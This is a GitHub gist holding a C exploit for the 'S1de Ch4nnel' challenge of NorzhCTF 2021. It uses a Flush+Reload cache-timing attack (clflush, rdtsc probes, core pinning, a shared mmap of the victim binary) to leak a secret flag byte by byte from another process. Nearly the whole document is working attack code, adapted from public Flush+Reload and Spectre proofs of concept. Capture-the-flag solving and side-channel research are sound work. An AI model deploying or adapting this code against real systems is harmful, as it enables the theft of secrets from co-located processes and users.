-
-
Save 00xc/b62e0fbe3c29e5a78782c622ed48568f to your computer and use it in GitHub Desktop.
NorzhCTF 2021 - S1de Ch4nnel exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Compile with: gcc -Wall -Wextra -O0 -std=c99 exploit.c -o exploit | |
*/ | |
#define _GNU_SOURCE | |
#include <err.h> | |
#include <fcntl.h> | |
#include <limits.h> | |
#include <sched.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <time.h> | |
#include <unistd.h> | |
#include <x86intrin.h> | |
#include <sys/mman.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#define NUM_ROUNDS 10 /* Number of times to probe each character. The higher, the more robust the results should be */ | |
#define VERBOSE 0 /* Print additional information */ | |
#define PROGRAM "./chall" /* Name of the original binary */ | |
#define PAGE_SIZE 512 /* Page size defined in the original binary */ | |
#define ARR_OFFSET 0x2020 /* Offset of the array we are trying to leak in the file */ | |
#define FLAG_LEN 28 /* Length of the flag in the original binary (minus the null byte) */ | |
typedef struct { | |
void* ptr; | |
unsigned long hits; | |
} Probe; | |
const char* the_array; | |
void pin_to_core(int id) { | |
cpu_set_t set; | |
CPU_ZERO(&set); | |
CPU_SET(id, &set); | |
if (sched_setaffinity(0, sizeof(cpu_set_t), &set) == -1) | |
err(EXIT_FAILURE, "sched_setaffinity"); | |
} | |
size_t get_file_size(int fd) { | |
struct stat st; | |
fstat(fd, &st); | |
return st.st_size; | |
} | |
/* Start a new process (through /bin/sh) and return a pipe file descriptor to that process' stdin */ | |
int start_process(const char* path) { | |
pid_t pid; | |
int fd[2]; | |
if (pipe(fd)) | |
err(EXIT_FAILURE, "pipe"); | |
pid = fork(); | |
if (pid == -1) | |
err(EXIT_FAILURE, "fork"); | |
if (pid == 0) { | |
pin_to_core(0); | |
close(fd[1]); | |
while (dup2(fd[0], STDIN_FILENO) == -1) {} | |
close(fd[0]); | |
execl("/bin/sh", "/bin/sh", "-c", path, NULL); | |
} | |
close(fd[0]); | |
return fd[1]; | |
} | |
/* | |
* https://github.com/defuse/flush-reload-attacks/blob/master/flush-reload/myversion/attacktools.h | |
*/ | |
unsigned long probe(char *adrs) { | |
volatile unsigned long time; | |
__asm__ volatile( | |
" mfence \n" | |
" lfence \n" | |
" rdtsc \n" | |
" lfence \n" | |
" movl %%eax, %%esi \n" | |
" movl (%1), %%eax \n" | |
" lfence \n" | |
" rdtsc \n" | |
" subl %%esi, %%eax \n" | |
" clflush 0(%1) \n" | |
: "=a" (time) | |
: "c" (adrs) | |
: "%esi", "%edx"); | |
return time; | |
} | |
char next_char(unsigned int offset, int fd) { | |
unsigned int i, j, k, candidate; | |
Probe probes[256] = {0}; | |
char outbuf[4] = {0}; | |
unsigned long time, min_time, max_hits = 0; | |
char out; | |
/* Set up a probe for each memory location to monitor */ | |
for (i = 0; i < 256; ++i) { | |
probes[i].ptr = (void*) the_array + i * PAGE_SIZE; | |
probes[i].hits = 0; | |
} | |
sprintf(outbuf, "%2d\n", offset); | |
for (i = 0; i < NUM_ROUNDS; ++i) { | |
/* Flush the probes */ | |
for (j = 0; j < 256; ++j) | |
_mm_clflush(probes[j].ptr); | |
/* Make the victim access `the_array` */ | |
write(fd, outbuf, 3); | |
min_time = ULONG_MAX; | |
candidate = 0; | |
/* Check time to access each probe */ | |
for (j = 0; j < 256; ++j) { | |
/* | |
* https://github.com/crozone/SpectrePoC/blob/master/spectre.c | |
*/ | |
k = ((j * 167) + 13) & 255; | |
time = probe(probes[k].ptr); | |
if (time < min_time) { | |
min_time = time; | |
candidate = k; | |
} | |
/* Add small delay */ | |
for (volatile int f = 0; f < 0x3000; ++f) {} | |
} | |
probes[candidate].hits++; | |
} | |
/* Get the probe with the biggest amount of hits */ | |
for (i = 0; i < 256; ++i) { | |
#if (VERBOSE == 1) | |
if (probes[i].hits) | |
fprintf(stderr, "%d : %ld hits\n", i, probes[i].hits); | |
#endif | |
if (probes[i].hits > max_hits) { | |
max_hits = probes[i].hits; | |
out = i; | |
} | |
} | |
#if (VERBOSE == 1) | |
fprintf(stderr, "----------------\n"); | |
#endif | |
return out; | |
} | |
int main() { | |
unsigned int i; | |
int fd; | |
size_t file_size; | |
char flag[FLAG_LEN + 1] = {0}; | |
void* addr; | |
int pipe_fd; | |
pin_to_core(0); | |
pipe_fd = start_process(PROGRAM); | |
fd = open(PROGRAM, O_RDONLY); | |
if (fd == -1) | |
err(EXIT_FAILURE, "open"); | |
file_size = get_file_size(fd); | |
addr = mmap(NULL, file_size, PROT_READ, MAP_SHARED, fd, 0); | |
close(fd); | |
if (addr == (char*)-1){ | |
close(pipe_fd); | |
err(EXIT_FAILURE, "mmap"); | |
} | |
the_array = (char*)(addr + ARR_OFFSET); | |
for (i = 0; i < FLAG_LEN + 1; ++i) { | |
flag[i] = next_char(48 + i, pipe_fd); | |
} | |
fprintf(stderr, "Flag: %s\n", flag); | |
close(pipe_fd); | |
munmap(addr, file_size); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment